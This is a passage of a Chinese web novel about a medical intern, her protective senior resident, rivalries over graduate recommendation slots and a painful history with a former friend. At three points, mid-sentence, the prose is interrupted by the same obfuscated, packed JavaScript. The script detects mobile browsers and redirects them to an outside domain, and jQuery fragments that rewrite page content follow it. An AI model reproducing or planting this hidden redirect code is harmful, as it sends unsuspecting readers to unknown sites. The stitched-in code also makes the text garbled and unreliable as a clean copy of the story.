沈赫行直起身,表情略微有些一言难尽:“……规培生也归他们管,我也是从那个时候过来的,有什么必要和他们蛇鼠一窝吗?”
方寓宁撑着下巴:“也是,我们目前算是同一战线的。”
沈赫行发现她说话总是很严谨,经常加许多限定词。
“为什么要说‘目前’?”
“因为有些人,原来在底层的时候还和大家一起抱怨上面的压迫,可一旦他们逃离这个阶层,马上就成为了压迫底层的一员。”
她愤愤不平道:“昨天我们班上就有个同学抱怨,说他在值班室看书,他们组的副高就讽刺他在临床不认真学习,说他当年有多么勤奋,老师就算把他的病历扔到楼下水池去,他都还在帮他老师做事情。”
恰好沈赫行的手机来了消息,他划开看了一眼,漫不经心地说道:“哪个副高?这么喜欢找虐。”
“不知道,希望之后实习别遇上他。”
方寓宁想起实习第一天李启东和器械护士的话:“师兄,他们都说你很厉害。”
沈赫行似乎收到过很多这样的评价,他不置可否:“然后?”
方寓宁觉得自己接下来的话可能有点得罪人,试图把自己缩起来:“我一直以为,像你这样优秀的人,不太能体会我们这种普通人的处境。”
沈赫行轻轻笑了声:“大家都是普通人。”
说罢,他敛了神色,仿佛想到了什么深刻的事情,眼底变得幽沉:“而且,就算将来我走上去了,我也绝对不会变成你口中说的那种人。
沈赫行那张脸,只要不笑,就冷得吓人。
方寓宁觑着他,道:“师兄,别人说这句话,我可能会持怀疑态度;但是你说这句话,我是绝对相信的。”
值班室的灯光亮度比较低,给沈赫行的侧颜镀上一层暗色,他道:“是么?”
“是啊师兄,你就事论事,从来不迁怒别人,从小到大,我遇到过的最公平正直的人,就是你了。”
她的表情毫无作伪,眼睛闪着亮光,一路穿破黑暗,照进人的心里。
沈赫行心中滋生出一股别样的情绪,他从桌上拿了一瓶矿泉水拧开,仰头喝了一口:“你下周去哪个科室?”
方寓宁回道:“四病区,胃肠外科。”
沈赫行点点头:“那你下周也接着跟我吧。”
方寓宁无措地指了指外面:“可是你不是在二病区吗?”
沈赫行:“我下周也要轮转去四病区,我提前跟教秘说一声,让他把你安排到我们组。”
方寓宁想想,继续跟着沈赫行也不错,不仅不用适应新的带教,还能保证复习时间。
她笑眼弯弯道:“好!”
.
实习第三周,附一院胃肠外科。
方寓宁换了白大褂,匆匆跑到护士站,扫了眼已经站在这里的另外两个实习生,脚步顿了顿。
唉,都是熟面孔啊。
这样毫无预料的旧人相见,让人心里有点发堵。
这时沈赫行也来了,方寓宁率先打招呼:“早上好师兄。”
沈赫行见到她,原本肃然的脸色缓了几分:“早上好,先跟我进去吧。”
顶着另外两人好奇的目光,方寓宁跟着沈赫行进了办公室。
办公室里,一个头发稀疏花白的医生见了沈赫行,笑呵呵道:“小沈啊,终于把你等来了,上个月我们总共就三个人,差点累死了。这位是?”
沈赫行介绍:“这是新来的实习同学,上个科室就是我带她,我俩一起轮转到这边,干脆继续让她跟着我。师妹,这是孙主任。”
见到新的领导,方寓宁有些拘谨:“孙老师好。”
“你好你好,上个科室就一起啊,有缘分。”
先前沈赫行跟她说过,胃肠外科的主任大多都很和蔼,科室氛围也不错,没有那种特别分明的上下级界限,现在一看,果真如此。
愉悦的心情一直持续到换药结束,方寓宁在垃圾桶面前放换药盘,在她之后走进来一个人。
“你和沈赫行看起来关系不错,打算保研胃肠外科?想做张院长的学生?”
方寓宁回头一看,见是周思扬,八年制的两个实习同学之一。
“你这算是在嘲讽我吗?我哪里来的保研资格。”
他说的是“保”而不是“读”,明明白白地打探。
周思扬轻飘飘道:“你想多了,我就随便问问,我还以为你家里会帮你忙的。”
方寓宁扯了扯嘴角,算是对他笑了一下,不再回答。
周思扬见问不出什么来,扔了垃圾就走,方寓宁以为这就完了,没想到很快,另一个老相识又进来。
“方寓宁,刚刚周思扬跟你说什么呀?”顾雨星一边问,一边叮叮当当地清理着换药盘里的镊子和持物钳。
她是方寓宁前室友,是个心直口快没什么心眼的姑娘,方寓宁对她不像对周思扬那么戒备。
“打听我有没有保研资格,和不和他抢呢。”方寓宁说。
顾雨星嗤笑一声:“这人就这样,上不得台面,咱们班凡是对他有威胁的全都被他打听了一遍,恶心人。”
方寓宁笑笑,她和周思扬是同省,她高考分数比他高一点,是以录取最高分进来的,因此周思扬视她为洪水猛兽般的竞争对象。
大一她还在八年制的时候,周思扬就经常来她面前打探她的复习情况,这种行为,厌恶倒算不上,但就和顾雨星说的一样,怪恶心人的。
顾雨星接着跟方寓宁说他们班的八卦:“他到处打听别人想去哪个专业,倒是对自己想去哪儿闭口不提,其实谁不知道?他就是想报胸外的高院长,听说还联系到一个很厉害的师兄,貌似叫,叫……陈靖文?”
哐当一声,方寓宁把换药盘丢进蓝色塑料筐。
她想,她大概知道,为什么陈靖文不喜欢她了。
周思扬这个人,除了喜欢打探别人外,还有其他特质,比如特别会钻营,特别会和老师上级搞好关系。
他想去胸外,保高院长的博,所以联系上了陈靖文。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640731|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>同时,或许是陈靖文在不经意间提到她,又或是周思扬从其他地方得知她在陈靖文那个组实习。
总之,他把那些个破事,透露给了陈靖文听。
方寓宁忽然忍不住一阵心凉,幸好周思扬想读的不是胃肠外科,否则知道那些事情的就该是沈赫行了。
虽然她和沈赫行也算不上关系多么密切,但那些事,她就是不想让他知道。
“对了,霍颖也想去胸外,这两个人算是棋逢对手斗上了,以前周思扬还装一装,跟她做表面功夫,现在干脆装都不装了,两个人碰上就是一场腥风血雨。”
顾雨星语气中不乏幸灾乐祸,反正两个她都不喜欢,谁输了她都能看一场好戏。
霍颖啊。
方寓宁看向窗外,她都好久没听到这个名字了。
顾雨星抻了个懒腰:“不过说实话,虽然我讨厌霍颖,不过这次我还希望是她赢。她那个年级第一好歹是真材实料,周思扬算什么?每学期期末都能搞到医院的证明来缓考,靠着多的那一个多月复习时间爬到第二,他也不心虚!”
方寓宁按了两泵洗手液,默默打开水龙头冲洗,真材实料么?
也许是太久没见面,加上方寓宁也没有不耐烦的意思,顾雨星便多说了几句。
“方寓宁知道吗?你走了以后,霍颖就搬出去了。后来寝室也没来其他人,就剩我和苗苗住。可能那位大小姐早就看我们不顺眼了,你在她还能勉强忍受一下,你不在她就忍不下去了。”
方寓宁语气不似刚刚一般轻松:“跟我没关系。”
顾雨星马上道歉:“对不起我说错话了。”
方寓宁摇摇头:“没事,我还要准备考研,先去复习了。”
顾雨星道:“好,你加油,那个……”
方寓宁看着她,顾雨星不好意思地摸摸后脑勺:“一直没找到机会跟你说,我一直是相信你的,我和苗苗都觉得你是我们见过性格最好的人,如果不是霍颖,我们现在说不定关系好着呢!”
“谢谢,”方寓宁笑道,“不过性格好对我来说并不是夸奖,我正在努力学做一个性格不好的人。”
“哈哈哈……”顾雨星笑起来,“你快去复习吧,是你的话,一定没问题的。”
方寓宁抿唇笑了下:“谢谢。”
.
当一个许久不见的人忽然在你的世界里出现踪迹,那么很可能,在之后一段时间里,她的信息会报复性般充斥着你的生活。
中午在食堂吃饭,隔壁桌两个男医生谈论道:“跟你说,我们病区来了个大美女,又高又瘦,今早上查房的时候病人都差点看呆了!”
“是吗?叫什么名字?我等会儿去打听打听。”
正在吃饺子的方寓宁忽然有种不好的预感。
果然,最开始说话的那个男医生吐出两个字:“霍颖!”
晚上回寝室,谷小萱兴奋地说:“宁宁,和我一个病区实习的有个八年制的漂亮妹妹,长得可好看了!就是看上去不太好接触,不过我看到她胸牌上的名字了,叫霍颖,霍元甲的霍,新颖的颖。”
方寓宁微笑,很好,她现在知道霍颖在胰腺外科实习了。
第二天一早,方寓宁照常爬楼梯上班,她这个习惯是跟沈赫行学的,他嫌等电梯麻烦,经常选择走楼梯。
一开始她还觉得沈赫行体力惊人,毕竟二病区可是在第十二楼,可是后来当自己也习惯了,发现其实也没那么难,一天上下几次,就当锻炼心肺功能了。
方寓宁走得比较快,还在一边看手机,没注意脚下一滑,整个人就要往后面栽去。
这种情况也不是第一次出现,她挥舞着手臂,急于抓住扶梯,却没想到跌入一个散发着淡淡香水味的怀抱。
“小心。”
听到这个声音,方寓宁呼吸几乎停滞。
是霍颖。
15. 第 15 章
楼梯间内一片寂静,老旧的大理石阶梯被磨出许多痕迹,犄角旮旯里塞满了灰尘,墙壁上没有窗户,只有一盏昏暗的灯维持着光亮。
偶尔有装修的电钻声从不远处传来,尖锐刺耳令人心烦。
方寓宁站直,不由自主地往上走了几阶楼梯,居高临下地看着霍颖。
可惜的是,尽管她的身体占据高位,她的性格底色,却永远比霍颖软弱几分。
霍颖先打破沉默:“好久不见。”
她的眼睛定定地看着方寓宁,毫不躲闪,声音一如既往透着凉薄。
方寓宁手脚发冷,心脏都快跳出来了,她面上强作镇定:“嗯。”
说完她转身就走,她怕再在这里多待一秒,她整个人都将溃不成军。
方寓宁闷着脑袋只顾着爬楼梯,等她反应过来,人已经到了十二层。
她只好又下了两层楼,刚好在楼梯口碰到沈赫行。
“师兄……”方寓宁喃喃出口。
沈赫行看到她,不确定地看了眼楼层标识:“怎么从上面下来了?”
方寓宁哑声道:“一时没注意,走过了。”
“那正好,我们一起进去。”沈赫行打开沉重的灰色防火门,让方寓宁先走。
这一开门,让阳光也钻了进来,一半打在灰暗的楼梯间墙面,一半打在沈赫行的面庞。
那光照得他瞳孔颜色都变浅许多,睫毛上也跳跃着金色的颗粒。
明明是很温暖的景象,方寓宁却压抑不住地失落和惆怅起来。
沈赫行这样的人,如果知道那件事,恐怕也会像陈靖文那样,再也不搭理她吧。
“怎么了?”
方寓宁回过神来,朝他笑笑:“没事,走吧。”
晚上,方寓宁倚靠着天台的栏杆,戴着耳机跟赵月欣视频通话。
“最近实习得怎么样,还顺利吧?”
“嗯,”夏夜的风吹散身体的燥热,方寓宁将头发挽到耳后,“我师兄这周也轮转到胃肠外科了,我还是在他手底下干活,他人可好了,知道我要考研,专门给我减少了工作量,让我专心复习。”
赵月欣却没像她一样露出高兴的表情:“你那个师兄该不会是喜欢你吧?”
“妈!”方寓宁急道,“你别乱想!我们才认识几天!”
“认识几天又怎么了?你现在长大了,我把话说得直白点,男人都是视觉动物,下午才见面晚上就能一起乱搞,你以为他们有耐心在那儿周旋个一年半载才产生感情?”
方寓宁辩解道:“师兄不是那样的人……”
“你就知道他不是?你一个小姑娘注意着点儿,别被占便宜了!”赵月欣又开始了她的长篇大论,“还有,不要人家对你好,你就上赶着跟人家交朋友,知不知道什么叫笑面虎?人家表面上笑嘻嘻对你,背后转过来马上捅你一刀……”
等她说完,方寓宁才不高兴道:“人家一个主治医生,没事儿害我一个实习生干什么?如果叫人家去好好复习叫害人的话,我们班上不知道有多少同学想这样被师兄师姐‘害’。”
“你还不信?社会上就是有这么险恶,你师兄不是,总有人是这样。我跟你讲,这个世界上,希望你过得不好的人是最多的,唯一盼着你好的人,只有我和你爸!”
又来了,又来了!
方寓宁冷声道:“我今天看到霍颖了。”
赵月欣一下子安静下来,这个名字,曾经引起他们家庭多次争吵,甚至差一点,方寓宁就要变成那种不服管教的女儿。
不过好在后来她还是明白了他们的苦心,没有再在这件事上纠缠。
她清了清嗓子道:“看到就看到了,反正这是你在江城待的最后一年,以后估计你俩就见不着了。”
“你也看开点,这也算是你吃到的第一个教训,你还小,吃点亏也是好事,总比以后吃更大的亏好。”
“嗯。”方寓宁看了眼不远处,在黑夜中亮着的,江医大附一院的院标,“我困了,明天还要上班,先挂了。”
“行,你注意休息,想吃什么就买来吃,别亏了身体。”
“知道了。”
关掉手机,方寓宁在角落的小板凳坐下,她抱着膝盖,眼泪止不住地流。
她在脸上胡乱抹了两把,半是气愤半是难过地想。
叫我看开点,说得倒是轻巧,被人诬陷,从八年制降级到五年制的,又不是你们。
.
“哎呀,刚好七点,咱们可以赶上老魏组的局。”孙主任脱下手术服,放松着肩颈。
巡回护士笑道:“今晚你们科室聚餐啊?”
“是啊,”孙主任看向方寓宁,笑呵呵道,“实习同学也去,今晚你们魏老师请客,咱们去多吃点。”
今天有个师兄请假,人手不够,所以方寓宁被叫来手术室帮忙。
她不知道该不该拒绝,求救地看向沈赫行,见沈赫行对她点了下头,她才答应道:“嗯,好的孙老师。”
去吃饭的不止他们三个,还有孙主任的爱人,内分泌科的主任吴老师。
胃肠外科的医生多,还有像吴老师这样的家属,他们包了一个厅,订了三张桌子。
方寓宁刚坐下就开始后悔,她怎么就脑子一抽来了呢,看看这满屋子的正高副高,她感觉这顿饭她得吃出胃溃疡。
沈赫行见她身形僵硬,倾身向她靠近,在她耳边说道:“没事,不用紧张,大家都很随意。”
其实相对于其他科的科室聚餐,胃肠外科真的算随意的了,这不,住院医生规培医生那两桌都开始吃了。
可方寓宁毕竟是第一次来这种场合,她整个人如坐针毡,欲哭无泪。
正高副高是食物链顶级,他们当然随意了!你作为张院长爱徒,各个主任都喜欢你,你当然也随意了!
我呢?我算个什么东西?!!
居然敢坐在大佬这一桌!
魏主任正在给其他人倒酒,他视线扫过方寓宁,迟疑了几秒钟。
这一个小姑娘,你问人家一句,跟劝酒似的,不太好看,但是你问都不问,又显得自己看人下菜碟,看人家是个实习生就直接忽略人家,没风度。
为难之际,沈赫行
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640732|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先道:“魏老师,我们俩都不喝酒。”
“噢噢,那好,小姑娘,你喝那个榨的白梨汁,那个好喝,我儿子最爱喝那个。”
方寓宁笑着颔首:“好,谢谢魏老师。”
孙主任坐在沈赫行旁边,他倒是想小酌两口,但是被吴老师一瞪,只能讪讪把手缩回去。
喝酒不成,他只能转来唠家常:“老魏啊,最近期末考试完了,你儿子成绩怎么样啊?”
“嗨,别提了,”魏主任一摆手,“数学和语文加一起,连一百都没有考到!人家老师问起来,我都不好意思说我在咱们医院上班!”
“哈哈哈哈哈哈……”
一片欢声笑语中,菜渐渐上齐了。
方寓宁不敢转餐盘,只能等着喜欢的菜转到自己面前,才夹上一筷子。
可或许是聊天聊得太投入,大家连餐盘都不转了,而方寓宁面前,放的刚好是一盘蚝油包菜。
于是,她只能放下筷子,苦涩地喝白梨汁。
突然,方寓宁碗里出现一块油光亮色的排骨,她惊喜地看向旁边,只见沈赫行正在用公筷给她夹虾仁。
她朝沈赫行那边靠近,悄声说:“谢谢师兄。”
沈赫行搁下筷子,端起白梨汁,嘴唇靠着玻璃杯沿喝了一口:“还想吃什么告诉我。”
“嗯!”
一顿饭进入尾声,住院医生和规培生或是端着饮料,或是端着酒杯,过来挨着给正高副高们敬酒。
一轮敬完,大家就各回各家,洗洗睡觉,明天接着去医院上班。
走在路上吹着晚风,沈赫行问:“吃饱没有?”
方寓宁摇头,沈赫行提议:“那我们再去吃一点?”
“好呀!”方寓宁说道,“我们去吃点有烟火气的吧。”
他们最后去了一家炒饭店,听着外面嘈杂的人声,还有厨房锅铲和锅碰撞的声音,方寓宁不禁想,这才是吃饭的地方啊!
这家炒饭店打扫得很干净,桌上没有一丁点油污,方寓宁靠在桌上,手撑着右脸,看着在外面接电话的沈赫行。
他肩宽腿长,相貌不凡,皮相骨相都挑不出毛病,可方寓宁觉得,他身上最吸引人的,还是那份不管在任何场合,都不慌不乱的游刃有余。
这是她,最缺少的东西。
沈赫行接完电话进来:“你点的什么?”
“扬州炒饭。”
他看了眼菜单:“我也要一份扬州炒饭。”
“好嘞!”胖胖的老板娘冲着里面的厨子喊道,“两份扬州炒饭!”
沈赫行手机屏幕亮起,他又解锁给人回消息。
他动作利落,打字毫无卡壳,令方寓宁想起,不久前在餐桌上,他是如何回答老师们一个又一个抛过来的问题。
既得体,又不冷场,不住惹人夸赞。
她想,这大概就是很多人所说的,能在社会上混得很好的人吧。
沈赫行回完消息,抬起头来问:“怎么了?一直盯着我看?”
方寓宁没回答,只是叹声气,问道:“师兄,你觉得我这个人怎么样?”
16. 第 16 章
沈赫行一愣,他该怎么回答?
善良?礼貌?认真?上进?
这些词好像都不足以用来形容她。
不等他思考清楚,方寓宁自顾自地说道:“我觉得我这个人好一般啊。”
老板娘给他们端来炒饭,闻言叉着腰说:“唉哟,你还一般啊?小姑娘,我要是你,我就仗着这张脸,出去一年谈八个男朋友!”
老板从后厨探出脑袋:“人家小情侣吃饭,你在那儿叭叭啥?”
老板娘理所当然道:“我这不安慰她嘛!”
方寓宁笑着摆手:“我们不是情侣,这是我师兄。”
“哦——”老板娘抽了两张纸擦擦手,“你们医科大的是吧?”
这家炒饭店就开在江医大不远处,不少学生都会在下班后来这儿吃。
“是呀。”
待她走后,方寓宁解释道:“师兄,我说的不是外表。”
“嗯,我知道。”他不多言语,很好地进入倾听者的角色。
他们面对面坐着,方寓宁视线略过沈赫行的肩膀,看向外面的街景,将心中所想娓娓道来。
“说实话,我以前还觉得我挺厉害的,小时候,我爸妈在省城工作,不方便带我,只能把我留在老家和外婆一起生活。我们那儿小地方,教育质量很差,就算是最好的学校,教学水平也一般,可那又怎样,我照样考上了咱们学校。”
她勾起唇角,自嘲地笑了下:“但是后来,我发现成绩好根本不算什么。”
“我这个人,性格内向,放不开,说不出什么讨人喜欢的俏皮话。工作的时候,永远都是规规矩矩的语气,总是给人留下一种死板不知变通的印象。”
沈赫行问道:“所以你认为你一般,只是因为你不擅长和人打交道对吗?”
“算是吧,”方寓宁用勺子拨弄着盘子里的米饭,“我经常在想,像我这么个不懂人情世故的家伙,真的能被同事和上级接受、真的能融入这个社会吗?”
沈赫行微不可察地蹙眉,方寓宁的自我评价,属实太低,简直就是把自己踩进了尘埃里。
他掀了下眼,双眼皮显得更深:“你当然可以。”
“你做事细心,努力上进,谦虚又有礼貌,接触过你的人,不说百分之百都会喜欢你,至少不会讨厌你。”
他语气中的肯定不加掩饰,令方寓宁不禁晃了神,她瞳孔缩了下,一时盯着沈赫行没眨眼。
沈赫行迎着她的目光,继续道:“工作当中,最重要的是解决问题的能力,你所说的人情世故,只能说是锦上添花。你很有礼貌,这在日常社交中已经够用了。”
方寓宁听了他的话,先是一股暖流涌入心间,可旋即更大的忧虑冲淡了这份温煦。
她无奈地笑笑,叹气道:“唉,师兄你说得也有道理。其实我自己的认知也有问题,我总觉得社会和职场很可怕,先把大家想成不好相处的人,反而束缚了自己,把自己弄得很紧张。”
她抬起眼,视线浮在半空:“我爸妈经常跟我说,社会很险恶,这个世界上,希望你过得不好的人是最多的。可能是他们不知不觉给我打上了思想钢印,我才会这么想。”
沈赫行换了个坐姿,长腿抵在地上,放松却不散漫:“我觉得他们说得不对。”
“这个世界上,根本就不在乎你过得好不好的人,才是最多的。”
他这句话仿佛一缕清风,将方寓宁脑海里的杂念瞬间吹得明朗起来。
她睁大眼睛,眼内闪着异样的光彩:“诶?诶?诶?!”
她一连“诶”了三声,整个人止不住地激动。她“噌”地站起来,手撑在桌上,上半身朝沈赫行靠近,真心实意道。
“师兄,我觉得你这句话说得特别正确。”
沈赫行眼内泛起淡淡的笑意,向来冷峻的脸此刻竟透着几分温柔。
墙上的时钟不知不觉走到九点,后厨传来清洗锅具的声音,老板娘也开始拖地。
方寓宁这才发现时间已经不早,她加快吃饭的速度,不经意间发现沈赫行的炒饭根本就没动几口。
她缓缓咽下口中的食物,反应过来,沈赫行又不是她,怎么会在聚餐上拘束得吃不饱,他提议再吃点别的,单纯就是怕她饿着。
方寓宁心下一热,又往嘴里塞了一大口饭。只是不知道为什么,此时此刻,这样熟悉而普通的炒饭,她却尝出了些别样的味道。
.
次日,方寓宁他们查完房,站在走廊外讨论一个刚做完手术的病人。
言毕,孙主任提醒道:“这周轮到我们组教学查房,实习小朋友记得准备一下,有什么不懂的问你沈师兄。”
八年制的同学一来,实习才算正式拉开了帷幕,什么教学查房、值夜班统统都提上了日程。
沈赫行看了眼查房电脑车:“今天26床和28床都要来新病人,你自己挑一个问问病史,下班后我陪你过一遍。”
又要麻烦人家了,方寓宁面露赧色:“谢谢师兄。”
沈赫行脱掉乳胶手套,沾着滑石粉的手背骨节嫣红:“就会跟我客气。”
方寓宁不自觉摸摸后脑勺:“我有礼貌嘛。”
沈赫行看着她,心说可以,都会用他说过的话来堵他的嘴了。
他打开水龙头洗手:“但是今天要做手术,下班可能已经八九点了。”
今天不是他们组的手术日,沈赫行应该是要去上张院长的手术。
“没关系师兄,”方寓宁道,“我就一直在图书馆等你。”
方寓宁的“一直”并没有实现,因为医院图书馆,居然八点半就闭馆了。
她平常一般五六点就回学校的自习室,因此并不知道这个规定。
无奈之下,她只好给沈赫行发了消息,去到便利店继续等他。
便利店冷气开得很足,方寓宁买了杯热饮,坐在凳子上做英语阅读。
一篇阅读做完,她对了下答案,发现错了一个。
“在准备考研?”
熟悉的声线与语调,方寓宁猝不及防地抖了下,笔从手中滑落,骨碌碌滚到地上。
霍颖拾起笔,在她的试卷上划了划,没有出油墨。
“你这支坏了,用我的。”霍颖从白大褂口袋抽下一支笔,放在她手边,转而将那支摔坏了的笔插回口袋缺出来的空隙。
方寓宁看了眼试卷上凹下去的划痕,边界被人打破的感觉令她十分不适。
她皱起眉头,移开霍颖给的百乐笔:“医院里用十块钱一盒的签字笔就够了,你这个,我用不上。”
霍颖撩起眼看她:“行,我明天给你买一盒你用得惯的。”
方寓宁深深吸了一口气,看着她说:“不是用不用得惯的问题,我不要,是因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640733|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是你的东西。”
霍颖那张若无其事的脸终于出现一丝愠怒,她冷笑道:“我的东西你就不要?那保研名额,你也不要?”
方寓宁满眼震惊,按常规流程,她是绝对不能保研的,除非……
她有其他手段。
霍颖收起情绪,恢复平常冷冰冰的模样,循循善诱:“以前我在和我爸斗法,什么都没办法补偿你。现在我斗法成功了,你想要什么,我都可以给你。”
她在方寓宁身边坐下,宽松的白大褂穿在她身上,将她优越的外貌掩了几分,倒是显得稳重起来。
“你不是觉得你家管你管得太严?你听我的话,拿下这个保研名额,等毕业以后,我们还可以去国外,到时候天高任鸟飞,你就自由了。”
方寓宁心中嘲讽地笑了下,有什么区别?你也说了,前提是“听你的话”。
“师妹,我下班了。”沈赫行出现在便利店的玻璃窗外。
方寓宁仿佛看到了救星,一下子从凳子上跳下来,两三下收拾好书包,霍颖察觉到她要逃走的意图,先发制人。
“宁宁,这是你带教师兄吗?”
“宁宁”两个字,听得方寓宁后背冷汗直冒。
她又对沈赫行道:“师兄好,我是宁宁的好朋友。”
沈赫行听了,简短有礼道:“你好。”
霍颖瞥见他们站在一起,眯了眯眼睛:“我上夜班出来买东西碰到她,正在劝她去保研,她这么优秀,有现成的机会,干嘛费力气去考?”
方寓宁瞳孔骤缩,霍颖这话不是说给沈赫行听,而是说给她听。
如果她一直不答应,霍颖很有可能会把她去考研的真正原因,告诉沈赫行。
霍颖瞥见方寓宁警惕而担忧的神色,忽地笑了出来:“麻烦师兄你也劝一下她,我先回病区了。”
她笑着离开,看似心情十分愉悦,路过方寓宁时,轻柔的发丝还从她脸上拂过,留下一点淡淡的香味。
“走吧,我们去示教室。”沈赫行声音比白日略低沉,大概是做了一天的手术,疲惫所致。
方寓宁跟在他右手边走,间或用余光看他。
沈赫行面色沉静,看不出什么表情,似乎不为霍颖的话所动。
电梯内,他按下示教室楼层,方寓宁忐忑问道:“师兄,你不劝我去保研吗?”
“不劝。”
“为什么?”
“叮——”电梯门打开,沈赫行长腿迈出去,带出一阵小风:“很明显,她说这些话,不是真的为你好,只是在预备挑拨离间。”
方寓宁垂眸,这就是霍颖,想做的事从不遮掩,几乎快贴到你面前告诉你,她下一步要做什么。
可偏偏这种方法最奏效,常常一击杀敌,干净利落,打得人没有还手之力。
方寓宁的心悬在半空,不安道:“那,你会相信她说的话吗?”
沈赫行推开门,示教室一片漆黑,只能依靠外面透进来的微光,防止踢到摆放的桌椅。
“师妹,你之前说我是你遇到过最正直的人,其实这句话,我受之有愧。”
“为什么?”
黑暗中,方寓宁只能大致辨认出沈赫行的身形,她听见他很轻地笑了一声。
“我这个人,相当护短。”
“啪——”沈赫行按下灯的开关,下一秒,室内亮如白昼。